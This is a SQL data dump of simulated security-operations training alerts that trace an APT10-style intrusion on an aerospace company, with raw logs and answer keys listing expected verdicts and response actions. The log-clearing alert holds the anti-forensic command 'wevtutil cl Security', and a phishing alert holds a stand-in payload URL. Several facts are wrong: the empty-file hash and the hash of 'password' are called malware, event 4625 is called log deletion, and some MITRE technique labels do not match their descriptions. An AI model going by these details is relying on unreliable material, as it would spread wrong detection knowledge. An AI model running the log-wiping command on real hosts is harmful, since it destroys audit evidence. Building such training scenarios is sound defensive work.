(391, 'Establishing Persistence with Backdoor Implant', 'high', 'System Registry Changes', 'APT10 has been detected establishing long-term persistence by deploying a backdoor implant within the aerospace company\'s network. The attack involved registry modifications pointing to a malicious service executable.', 'Persistence', 'T1050: New Service', 1, 'new', NULL, '{\"time\":\"2023-09-15T14:23:45Z\",\"event_id\":7045,\"source_ip\":\"203.0.113.5\",\"internal_ip\":\"192.168.1.20\",\"user\":\"jdoe\",\"registry_key\":\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\MaliciousService\",\"service_name\":\"MaliciousService\",\"image_path\":\"C:\\\\Windows\\\\System32\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Service Installed\",\"description\":\"A new service was installed on the machine to maintain persistence.\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT10 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Sandbox\",\"verdict\":\"malicious\",\"details\":\"Executable file used by APT10 for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT10 malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used during the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.992Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-09-15T14:23:45Z\\\",\\\"event_id\\\":7045,\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\MaliciousService\\\",\\\"service_name\\\":\\\"MaliciousService\\\",\\\"image_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"description\\\":\\\"A new service was installed on the machine to maintain persistence.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.992Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-09-15T14:23:45Z\\\",\\\"event_id\\\":7045,\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\MaliciousService\\\",\\\"service_name\\\":\\\"MaliciousService\\\",\\\"image_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"description\\\":\\\"A new service was installed on the machine to maintain persistence.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.992Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-09-15T14:23:45Z\\\",\\\"event_id\\\":7045,\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\MaliciousService\\\",\\\"service_name\\\":\\\"MaliciousService\\\",\\\"image_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"description\\\":\\\"A new service was installed on the machine to maintain persistence.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.992Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-09-15T14:23:45Z\\\",\\\"event_id\\\":7045,\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\MaliciousService\\\",\\\"service_name\\\":\\\"MaliciousService\\\",\\\"image_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"description\\\":\\\"A new service was installed on the machine to maintain persistence.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.992Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-09-15T14:23:45Z\\\",\\\"event_id\\\":7045,\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"user\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\MaliciousService\\\",\\\"service_name\\\":\\\"MaliciousService\\\",\\\"image_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"description\\\":\\\"A new service was installed on the machine to maintain persistence.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(392, 'Lateral Movement to Access Design Servers', 'high', 'Network Traffic Analysis', 'During the investigation of unusual network patterns, it was identified that a malicious entity performed lateral movement within the corporate network to access critical design servers. The attackers employed techniques consistent with the APT10 group\'s TTPs, leveraging compromised credentials to gain unauthorized access to servers containing sensitive CAD files. This alert represents step 4 of the operation where the attackers successfully reached the target servers.', 'Lateral Movement', 'T1080: Taint Shared Content', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:18Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.0.45\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"j.doe@company.com\",\"accessed_file\":\"designServerAccess.log\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"lateral_move\",\"result\":\"success\",\"protocol\":\"SMB\",\"malware\":\"CloudHopper\",\"description\":\"Lateral movement detected towards design server using stolen credentials.\",\"os\":\"Windows Server 2019\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target design server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with APT10.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with CloudHopper malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"designServerAccess.log\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Log file accessed during lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Compromised user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(393, 'Data Collection from CAD Repositories', 'high', 'File Access Logs', 'APT10 is actively collecting large CAD files from compromised servers within the aerospace sector. This operation stage focuses on aggregating these files for planned exfiltration.', 'Collection', 'T1119 - Automated Collection', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:47Z\",\"event_id\":\"file_access_8765\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"user\":\"j.doe\",\"access_type\":\"read\",\"file_name\":\"aerospace_project_design.cad\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_size\":\"15MB\",\"protocol\":\"SMB\",\"action\":\"access_granted\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT10 IP involved in previous aerospace sector attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"aerospace_project_design.cad\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive CAD file targeted by APT10.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"clean\",\"details\":\"Common placeholder hash, needs further investigation for exact matches.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.995Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:47Z\\\",\\\"event_id\\\":\\\"file_access_8765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"user\\\":\\\"j.doe\\\",\\\"access_type\\\":\\\"read\\\",\\\"file_name\\\":\\\"aerospace_project_design.cad\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"action\\\":\\\"access_granted\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.995Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:47Z\\\",\\\"event_id\\\":\\\"file_access_8765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"user\\\":\\\"j.doe\\\",\\\"access_type\\\":\\\"read\\\",\\\"file_name\\\":\\\"aerospace_project_design.cad\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"action\\\":\\\"access_granted\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.995Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:47Z\\\",\\\"event_id\\\":\\\"file_access_8765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"user\\\":\\\"j.doe\\\",\\\"access_type\\\":\\\"read\\\",\\\"file_name\\\":\\\"aerospace_project_design.cad\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"action\\\":\\\"access_granted\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.995Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:47Z\\\",\\\"event_id\\\":\\\"file_access_8765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"user\\\":\\\"j.doe\\\",\\\"access_type\\\":\\\"read\\\",\\\"file_name\\\":\\\"aerospace_project_design.cad\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"action\\\":\\\"access_granted\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.995Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:47Z\\\",\\\"event_id\\\":\\\"file_access_8765\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"user\\\":\\\"j.doe\\\",\\\"access_type\\\":\\\"read\\\",\\\"file_name\\\":\\\"aerospace_project_design.cad\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"action\\\":\\\"access_granted\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(394, 'Exfiltration of CAD Files via Encrypted Channels', 'high', 'Outbound Network Traffic', 'APT10 is utilizing encrypted channels to exfiltrate CAD files from the network. The operation involves transferring data to a known malicious external IP using SSL/TLS encryption, making detection challenging.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 ', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"exfil-20231012-001\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"TLS\",\"encrypted_data_size\":\"15MB\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"filename\":\"designs_v3_aggregated.zip\",\"user\":\"jdoe\",\"process_name\":\"explorer.exe\",\"indicator_of_compromise\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\"},{\"type\":\"filename\",\"value\":\"designs_v3_aggregated.zip\"}],\"alert_description\":\"Observed encrypted data transfer to a known malicious IP associated with APT10.\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT10 infrastructure component.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"designs_v3_aggregated.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"File name pattern matches previous exfiltration attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(395, 'Clean-up and Cover Tracks', 'high', 'System Event Logs', 'The attackers attempted to erase logs and artifacts to obscure their presence and activities within the network. This is a typical step in their operation to remove traces of intrusion.', 'Defensive Evasion', 'T1070', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":4625,\"event_type\":\"Security\",\"action\":\"Log Deletion\",\"username\":\"admin_user\",\"host_ip\":\"10.0.0.15\",\"source_ip\":\"203.0.113.45\",\"log_file\":\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"process\":\"wevtutil.exe\",\"command_line\":\"wevtutil cl Security\"}', '2026-01-04 02:14:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT10 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potential malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.998Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":4625,\\\"event_type\\\":\\\"Security\\\",\\\"action\\\":\\\"Log Deletion\\\",\\\"username\\\":\\\"admin_user\\\",\\\"host_ip\\\":\\\"10.0.0.15\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"log_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"process\\\":\\\"wevtutil.exe\\\",\\\"command_line\\\":\\\"wevtutil cl Security\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.998Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":4625,\\\"event_type\\\":\\\"Security\\\",\\\"action\\\":\\\"Log Deletion\\\",\\\"username\\\":\\\"admin_user\\\",\\\"host_ip\\\":\\\"10.0.0.15\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"log_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"process\\\":\\\"wevtutil.exe\\\",\\\"command_line\\\":\\\"wevtutil cl Security\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.998Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":4625,\\\"event_type\\\":\\\"Security\\\",\\\"action\\\":\\\"Log Deletion\\\",\\\"username\\\":\\\"admin_user\\\",\\\"host_ip\\\":\\\"10.0.0.15\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"log_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"process\\\":\\\"wevtutil.exe\\\",\\\"command_line\\\":\\\"wevtutil cl Security\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.998Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":4625,\\\"event_type\\\":\\\"Security\\\",\\\"action\\\":\\\"Log Deletion\\\",\\\"username\\\":\\\"admin_user\\\",\\\"host_ip\\\":\\\"10.0.0.15\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"log_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"process\\\":\\\"wevtutil.exe\\\",\\\"command_line\\\":\\\"wevtutil cl Security\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.998Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":4625,\\\"event_type\\\":\\\"Security\\\",\\\"action\\\":\\\"Log Deletion\\\",\\\"username\\\":\\\"admin_user\\\",\\\"host_ip\\\":\\\"10.0.0.15\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"log_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"process\\\":\\\"wevtutil.exe\\\",\\\"command_line\\\":\\\"wevtutil cl Security\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(396, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'Initial access attempt identified through a phishing email containing a malicious link, typically used by the Whitefly group. The email was sent to an internal user and contained a link leading to the download of a malicious payload.', 'Initial Access', 'T1566.001 - Spearphishing Link', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"HTTP\",\"url\":\"http://malicious-example.com/download\",\"email_sender\":\"hacker@example.com\",\"email_recipient\":\"user@internal.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"file_hash\":\"2b8e5d8f7e9c4f8a9b6e5d9f7c6b8e5d\",\"filename\":\"invoice.pdf\",\"alert\":\"Phishing Link Detected\",\"ids_reference\":\"NIDS-2345\"}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by phishing email.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-example.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware URL Database\",\"verdict\":\"malicious\",\"details\":\"URL hosting a known malicious payload.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"hacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address associated with phishing activities.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"2b8e5d8f7e9c4f8a9b6e5d9f7c6b8e5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified as a malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
